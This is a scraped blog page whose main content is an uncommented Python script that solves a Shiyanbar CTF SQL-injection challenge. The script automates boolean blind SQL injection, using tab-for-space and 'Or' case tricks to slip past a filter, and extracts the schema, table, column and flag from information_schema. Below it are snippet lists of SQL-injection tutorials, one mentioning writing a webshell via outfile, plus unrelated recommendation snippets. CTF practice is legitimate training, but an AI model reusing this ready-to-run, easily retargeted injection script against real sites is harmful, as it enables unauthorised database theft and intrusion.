实验吧——认真一点!

2023-11-11

# -*- coding:utf8 -*-
import requests
import urllib

# 设置代理,用于调试过程中抓包分析
proxies = {
  "http": "http://localhost:9008",
  "https": "http://localhost:9008",
}  

headers = {
    "Host": "ctf5.shiyanbar.com",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Accept-Encoding": "gzip, deflate",
    "Referer": "http://www.shiyanbar.com/ctf/2009",
    "Content-Type": "application/x-www-form-urlencoded",
    "Connection": "keep-alive",
    "Upgrade-Insecure-Requests": "1"
}
url = 'http://ctf5.shiyanbar.com/web/earnest/index.php'
temp = 0

def make_payload(target):
    return target.replace(' ','%09').replace('or','Or')

def get_length(target):  #获取字段长度
    global headers
    global url 
    for i in range(0,50):
        #print(i)
        payload = target[:-5]+str(i)+target[-5:]
        print("get_length:"+payload)
        payload = urllib.parse.unquote(make_payload(payload))
        data = {"id":payload,"submit":"%E6%8F%90%E4%BA%A4"}
        content = requests.post(url=url,headers=headers,data=data).text
        if 'You are in' in content:
            return i
    return 0
        
def search2(l,r,target):#二分盲注
    if l>r:
        return
    global headers
    global url 
    global temp
    mid = int((l+r)/2)
    payload = target[:-5]+str(mid)+target[-5:]
    payload = urllib.parse.unquote(make_payload(payload))
    #payload = make_payload(payload)
    print("search2:"+payload)
    data = {"id":payload,"submit":"%E6%8F%90%E4%BA%A4"}
    content = requests.post(url=url,headers=headers,data=data).text
    if "You are in" in content:
        temp = max(temp,mid)
        search2(mid+1,r,target)
    else:
        search2(l,mid-1,target)
        
def get_content(column,table,offset,len,where,sign):    # 构造payload
    global temp
    content = ''
    for i in range(1,len+1):
        temp = 0
        if sign==0:
            payload = "0'Or(select ascii((select mid("+str(column)+" from "+str(i)+") from "+str(table)+" limit 1 offset "+str(offset)+"))>=)Or'0"
        else:
            payload = "0'Or(select ascii((select mid("+str(column)+" from "+str(i)+") from "+str(table)+" "+str(where)+" limit 1 offset "+str(offset)+"))>=)Or'0"
        search2(0,255,payload)
        content+=chr(temp)
        print("get_content:"+content)
    return content


##--------获取数据库名--------
payload = "0'Or(length((select schema_name from information_schema.schemata limit 1 offset 1))=)Or'0"
len = get_length(payload) #18
database = get_content('schema_name','information_schema.schemata',"1",len,0,0) #ctf_sql_bool_blind#test
print("database:",database)

##--------获取表名--------
#payload = "0'Or(length((select table_name from information_schema.tables where table_schema=0x6374665f73716c5f626f6f6c5f626c696e64 limit 1 offset 0))=)Or'0"
payload = "0'Or(length((select table_name from information_schema.tables where table_schema='"+database+"' limit 1 offset 0))=)Or'0"
len = get_length(payload) #4,5
#table = get_content('table_name','information_schema.tables',"0",4,'where table_schema=0x6374665f73716c5f626f6f6c5f626c696e64',1) #fiag
table = get_content('table_name','information_schema.tables',"0",len,"where table_schema='"+database+"'",1) #fiag
print("table:",table)

##--------获取列名--------
#payload = "0'Or(length((select COLUMN_NAME from infOrmation_schema.KEY_COLUMN_USAGE where TABLE_NAME='fiag' limit 1 offset 0))=)Or'0"
payload = "0'Or(length((select COLUMN_NAME from infOrmation_schema.KEY_COLUMN_USAGE where TABLE_NAME='"+table+"' limit 1 offset 0))=)Or'0"
len = get_length(payload) #5
print('len',len)
#column = get_content('column_name','infOrmation_schema.KEY_COLUMN_USAGE',0,len,"where table_name='fiag'",1) #fL$4G
column = get_content('column_name','infOrmation_schema.KEY_COLUMN_USAGE',0,len,"where table_name='"+table+"'",1) #fL$4G
print('column:',column)

##--------获取字段内容--------
#payload = "0'Or(length((select fL$4G from fiag  limit 1 offset 0))=)Or'0"
payload = "0'Or(length((select "+column+" from "+table+"  limit 1 offset 0))=)Or'0"
len = get_length(payload) #19
print('len',len)
#flag = get_content('fL$4G','fiag',"0",19,'0',0) #flag{haha~you win!}
flag = get_content(column,table,"0",len,'0',0) #flag{haha~you win!}

 

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

实验吧——认真一点! 的相关文章

  • sha1算法破解

    去https www mysterytwisterc3 org 注册一个账号 字母大写 i注册的时候有个Captcha可能要FQ才能显示 账号密码记住以后要用到 完成关卡Cracking SHA1 Hashed Passwords http
  • BUUCTF WEB笔记之[极客大挑战2019] EasySQL、LoveSQL、BabySQL、HardSQL

    小白一个 记录一下解题过程 如有错误请指正 一 EasySQL 1 这里我们使用一句话万能密码就可以了 记得加上 1 or 1 1 2 登录就可以拿到flag 二 LoveSQL 网页里说用sqlmap是没有灵魂滴 但是还是手痒试了一下 发
  • sqli-labs通关大全(更新至Less60)

    sqli labs通关 less1 less10 箭雨镜屋 CSDN博客 sqli labs通关 less11 less20 箭雨镜屋 CSDN博客 sqli labs通关 less21 less30 箭雨镜屋 CSDN博客 sqli la
  • SQL注入原理-万能密码注入

    一 学习目的 1 理解 万能密码 原理 2 学习 万能密码 的使用 二 实验环境 本机 192 168 1 2 目标机 192 168 1 3 三 举例说明 1 输入一个存在漏洞的网站 例如 http 192 168 1 3 8009 2
  • 关于SQL注入报错:Illegal mix of collations for operation ‘UNION‘原因剖析与验证

    关于SQL注入报错 Illegal mix of collations for operation UNION 原因剖析与验证 今天练习了一下DVWA的SQL注入模块 使用了union注入时报错如下 Illegal mix of colla
  • SQLi-Labs 学习笔记(Less 51-65)

    点击打开链接 Less 51 本关的Sql语句为 plain view plain copy sql SELECT FROM users ORDER BY id 因为此处用的是执行多个针对数据库的查询函数 mysqli multi quer
  • SQL注入之报错注入的一些随笔

    0x00 序言 关于报错注入的话虽然我在我之前的文章里面写了一些 但是sql注入的姿势实在是太多了 之前写过的payload不全也不系统 今天抽出时间来总结一下 ps 关于报错注入的原理和使用的基本函数我在我之前的文章 SQLI LABS修
  • sqli-labs通关攻略38-53[Stacked Injections]

    Stacked Injections 文章目录 Stacked Injections less 38 less 39 less 40 less 41 less 42 less 43 less 44 less 45 less 46 less
  • sqli-labs:less-27(过滤select和union)

    div div
  • 2022年江西省中职组“网络空间安全”赛项模块B-Web渗透测试

    2022年中职组山西省 网络空间安全 赛项 B 8 Web渗透测试任务书 B 8 Web渗透测试解析 不懂可以私信博主 一 竞赛时间 420分钟 共计7小时 吃饭一小时 二 竞赛阶段 竞赛阶段 任务阶段 竞赛任务 竞赛时间 分值 第 阶段
  • 如何利用SQL注入进行爆库

    SQL注入能做什么 在 SQL注入基础 一文介绍了SQL注入的基本原理和实验方法 那接下来就要问一下 SQL注入到底能什么 估计很多朋友会这样认为 利用SQL注入最多只能获取当前表中的所有记录 但无法获取其它表的内容 事实果真的如此 正像小
  • SQL注入---联合注入

    Union联合注入攻击 1 联合注入的思路 会显示输出内容时 才考虑使用Union注入 可以在输入框中或者 URL 中输入内容 如果不能在输入框内输入内容 则需要使用 Burp suite 使用 重发器 修改 id 中的内容进行爆破数据 l
  • sqli-labs:less-28(过滤了union和select)

    div div
  • 实验吧——认真一点!

    coding utf8 import requests import urllib 设置代理 用于调试过程中抓包分析 proxies http http localhost 9008 https http localhost 9008 he
  • 互联网安全架构

    web安全架构 上 开始之前这们说一下 web网站其实防御也相当重要 不管是服务器防御 后台数据防御 数据库防御都是必须滴 那我们说说常见的几种 后续再给大家分享 api接口安全性设计 黑名单白名单 以及防御DDOS XSS攻击 SQL注入
  • 应用布尔盲注来爆库(1)

    先上道练习题Less 8 打开sqli labs项目的练习题Less 8 http 192 168 3 2 sqli labs Less 8 然后输入id 1参数 可以得到以下信息 输入有效id 1时 只提示成功 You are in 没有
  • SQL注入原理-报错盲注

    小伙伴们大家好 本期为大家带来的内容是SQL注入原理之报错盲注 目录 为什么要使用报错盲注 常见的报错函数 updatexml 函数 extractvalue 函数 实战演示 1 检测是否存在注入点 2 执行报错语句爆出数据 1 爆出当前数
  • sqli-labs通关攻略54-65[Challenges]

    Advanced Injections 文章目录 Advanced Injections less 54 less 55 less 56 less 60 less 62 less 63 less 64 less 65 最后一篇补上 less
  • 【SQL注入-12】http头部注入案例—基于Sqli-labs靶机(借助BurpSuite工具)

    目录 1 概述 1 1 User Agent概述 1 2 Referer 概述 2 实验平台及实验目标 2 1 实验平台 2 2 实验目标 3 User Agent注入案例 以sqli labs Less18为例 3 1 注入前准备 3 2
  • sqli-labs-less-7 使用outfile函数写入一句话木马

    Less 7 一句话木马 判断注入点 127 0 0 1 sqli labs master Less 7 id 1 显示正常 提示 You are in Use outfile 127 0 0 1 sqli labs master Less

随机推荐

  • 解决Tomcat中POST方式传送参数大小限制问题

    之前我在做项目的时候遇到了这个问题 Tomcat是使用POST的方式发送请求参数 请求参数有九万多个 点击提交就没有反应了 后来查询资料知道了是请求参数过多了 超过了Tomcat的上传文件最大值2M 通过以下方法进行修改后解决了问题 在to
  • 云上城之个服务器维护时间,云上城之歌时间之塔开服时间表_云上城之歌新区开服预告_第一手游网手游开服表...

    今日开服 15 00 三十八区苍炎之门 已经开服 2021 08 10 10 00 三十八区巨石林野 已经开服 2021 08 09 15 00 三十八区荧光要塞 已经开服 10 00 三十八区雷神圣所 已经开服 2021 08 07 10
  • 基于Java的Cplex入门

    Cplex是一种数学优化技术 主要用于提高效率 快速实现策略并提高收益率 Cplex提供灵活的高性能优化程序 解决线性规划 Linear Programming 二次方程规划 Quadratic Programming 二次方程约束规划 Q
  • vue与C#实现自定义表单审批流程构建-前端

    vue与C 实现自定义表单审批流程构建 做信息化项目相信绝大部分人都接触过单据审批流程的需求 例如发起一个采购申请 需要几个节点审核 部门负责人审核 采购审核 财务审核等等 审批人也需要可自定义 以及可能会出现审批条件分支的情况 这时我们的
  • 织梦DEDECMS网站后台系统菜单点击没有反应的解决办法(除了核心)

    织梦DEDECMS模板网站后台系统菜单点击没有反应的解决办法 DEDECMS模板 问题说明 织梦系统的后台主页右上角一直是 载入中 而左边的系统菜单 这里指的是切换菜单 点击没有任何反应 只能在 核心 菜单中使用 其他的 模块 生成 采集
  • ENVI:如何进行图像融合?

    目录 有话要说 什么是图像融合 图像融合的方法以及特点 图像融合有什么好处 ENVI实操 1 1 加载需要融合的图像文件 1 2 搜寻工具并点击打开 Gram schmidt方法 1 3 输入低分辨率的多光谱图像文件 1 4 输入高分辨率的
  • msys2使用QT的mingw编译器编译ffmpeg

    使用的时候最好关闭杀毒软件 否则configure和make会很慢 window编译ffmpeg mingw 要在windows搭建一个模拟linux环境 下载安装MSYS2 64 网址 https www msys2 org 我这里安装在
  • linux中git安装步骤,linux配置安装 git 详细教程

    Git是目前流行的非常好用的版本控制工具 这里介绍两种安装方式 1 yum安装 2 从github上下载最新的源码编译后安装 一 环境介绍 系统 linux 镜像 CentOS 7 x86 64 DVD 1804 iso 二 源码安装 1
  • linux中命令du -sm,Linux中的Du命令

    du命令是 disk usage 的缩写 展示文件或目录使用的估计磁盘空间量 这对于查找占用大量磁盘空间的文件和目录很有用 如何使用du命令 du命令的常规语法如下 du OPTIONS FILE 如果给定的FILE是目录 du则将汇总该目
  • hibernate 根据实体类自动生成表

    常规的思路是 设计好数据库 建好表 借助MyEclipse 也可以是其他IDE 自动生成映射 或者自己写映射 早就听说hibernate中可以自动生成表 但是一直没有试验 今天首先介绍其中的一个属性hbm2ddl auto 这个就是这个方案
  • 与老范对谈:ChatGPT等AIGC技术对内容产业的影响和趋势判断

    昨日 我和老范线下面基 用一下午的时间深入探讨了AIGC对内容产业影响的话题 这次聊天收获满满 我迫不及待将这次讨论的内容整理成了文章 但在这之前 请让我先介绍一下老范 老范曾就职于盛大创新院 猎豹移动 是Tiktok的早期投资人 是一名互
  • 手里有几万块能做什么副业?一万块钱搞什么副业

    最近几年来 兼职 副业已经成为大家的刚需了 否则上班的收入已经满足不了开支了 我相信很多人手上都有1万元或者2万元左右甚至更多的闲钱 那么 有闲钱可以干什么 手上有一万元能投资做什么 1 做微商 微商可以说是近些年最热门的职业之一了 你既可
  • IDEA常用配置之代码自动格式化删除无用导入

    文章目录 IDEA常用配置之代码自动格式化删除无用导入 配置步骤 安装google java format 安装Save Actions 自动优化导包选项 检查行分隔符 缩进大小 IDEA常用配置之代码自动格式化删除无用导入 配置步骤 安装
  • Mac安装brew

    终极方法 不需要代理 百分百成功运行 bin zsh c curl fsSL https gitee com cunkai HomebrewCN raw master Homebrew sh 运行结果如下
  • AD 多边形 圆形 快速覆铜

    1 先确认你的板框 如下图 在Keep Out Layer 层 使用shift S键隐藏其他的层 2 全选板框 按T G M 输入法英文状态下 或手动选择 工具 多边形填充 多边形管理器 进入下图状态 选择图上标志的地方 选择板外形 如下图
  • 机器学习 day35(决策树)

    决策树 上图的数据集是一个特征值X采用分类值 即只取几个离散值 同时也是一个二元分类任务 即标签Y只有两个值 上图为之前数据集对应的决策树 最顶层的节点称为根节点 椭圆形节点称为决策节点 矩形节点称为叶子节点 决策树学习算法的工作是 在所有
  • Jetson Nano 40 pin 功能介绍

    40 根引脚主要分成GPIO General Purpose I O 通用功能与SFIO Special Function I O 特定功能 一 SFIO 18根 1 5V 直流电输入 输出 脚位 2 4 在排针脚塑料使用 红色 标识 2根
  • Java SE 16 record 类型说明与使用

    Java SE 16 record 类型说明与使用 作者 Grey 原文地址 博客园 Java SE 16 record 类型说明与使用 CSDN Java SE 16 record 类型说明与使用 说明 record 是 Java SE
  • Python3 爬取PAT个人乙级题所有答案代码

    Python3 爬取PAT个人乙级题所有答案 进入PAT乙级题题目页面 下面是链接 https pintia cn problem sets 994805260223102976 problems type 7 点开两个题目 观察两个链接有
  • 实验吧——认真一点!

    coding utf8 import requests import urllib 设置代理 用于调试过程中抓包分析 proxies http http localhost 9008 https http localhost 9008 he